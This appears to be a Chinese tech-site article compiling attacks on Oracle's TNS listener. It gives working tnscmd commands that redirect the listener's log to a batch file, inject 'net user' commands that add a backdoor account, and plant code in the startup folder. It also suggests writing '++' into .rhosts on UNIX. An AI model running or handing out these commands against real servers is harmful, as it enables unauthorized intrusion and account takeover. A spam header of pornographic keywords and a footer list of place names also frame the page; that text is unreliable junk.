国产成人精品亚洲777人妖,欧美日韩精品一区视频,最新亚洲国产,国产乱码精品一区二区亚洲

您的位置:首頁技術(shù)文章
文章詳情頁

針對(duì)Oracle的TNS listener攻擊方法整理

瀏覽:104日期:2023-11-23 12:34:44

首先,根據(jù)版本的不同,TNS listener可能較易受到多種類型的緩沖區(qū)溢出攻擊,這些攻擊可以在不提供用戶ID和口令的情況下被利用。例如:在oracle 9i中,當(dāng)客戶機(jī)請(qǐng)求某個(gè)過長(zhǎng)的service_name時(shí),很容易受到溢出攻擊。當(dāng)listener為日志構(gòu)建錯(cuò)誤消息之后,service_name的值會(huì)被復(fù)制到某于棧結(jié)構(gòu)的緩沖區(qū)內(nèi),從而引起溢出—覆蓋保存值將返回棧中的地址。這種做法可以使攻擊者獲得控制權(quán)。事實(shí)上,TNS listener曾經(jīng)有過多次溢出和格式化字符串的漏洞。

其次,另一類攻擊和日志文件有關(guān)。只有當(dāng)未給listener設(shè)置口令的時(shí)候,攻擊才會(huì)有效。

假設(shè)某個(gè)listener沒有設(shè)置口令,攻擊方法如下:

tnscmd -h www.example.com -p 1521 –rawcmd “(DESCRIPTION=(CONNECT_DATA=(CID=(PROGRAM=)(HOST=)(USER=))(COMMAND=log_directory)(ARGUMENTS=4)(SERVICE=LISTENER)(VERSION=1)(VALUE=c:)))” 將日志目錄設(shè)置到C盤

tnscmd -h www.example.com -p 1521 –rawcmd “(DESCRIPTION=(CONNECT_DATA=(CID=(PROGRAM=)(HOST=)(USER=))(COMMAND=log_file)(ARGUMENTS=4)(SERVICE=LISTENER)(VERSION=1)(VALUE=test.bat)))” 將日志文件設(shè)置為test.bat

tnscmd -h www.example.com –rawcmd “(CONNECT_DATA=(( ||dir >test.txt||net user test test /add))”該命令把

dir >test.txt、net user test test /add命令寫入c:test.bat文件,由于雙豎線的作用(第一條命令執(zhí)行失敗后,WINDOWS命令解釋器執(zhí)行后面的命令)把錯(cuò)誤的信息注釋掉, 從而可以執(zhí)行我們提交的命令。

通過設(shè)置日志文件到不同的目錄,例如WINDOWS的啟動(dòng)目錄,當(dāng)服務(wù)器重啟將執(zhí)行惡意用戶提交的特定代碼,從而對(duì)系統(tǒng)造成威脅。

運(yùn)行于UNIX系統(tǒng)上的oracle也會(huì)受到同樣的威脅。其中一種方法就是將“++”回送給.rhost文件,當(dāng)系統(tǒng)運(yùn)行時(shí),使用r*services命令。

標(biāo)簽: Oracle 數(shù)據(jù)庫
主站蜘蛛池模板: 勐海县| 石楼县| 连平县| 南涧| 大丰市| 华安县| 格尔木市| 永定县| 闸北区| 刚察县| 高青县| 洱源县| 崇礼县| 嘉义市| 襄城县| 怀安县| 大埔县| 达孜县| 尼玛县| 墨竹工卡县| 赤壁市| 荔浦县| 连平县| 潜江市| 五寨县| 垦利县| 沛县| 文安县| 墨玉县| 眉山市| 永清县| 峨山| 中山市| 昌宁县| 万全县| 镇赉县| 美姑县| 海南省| 承德市| 五寨县| 大宁县|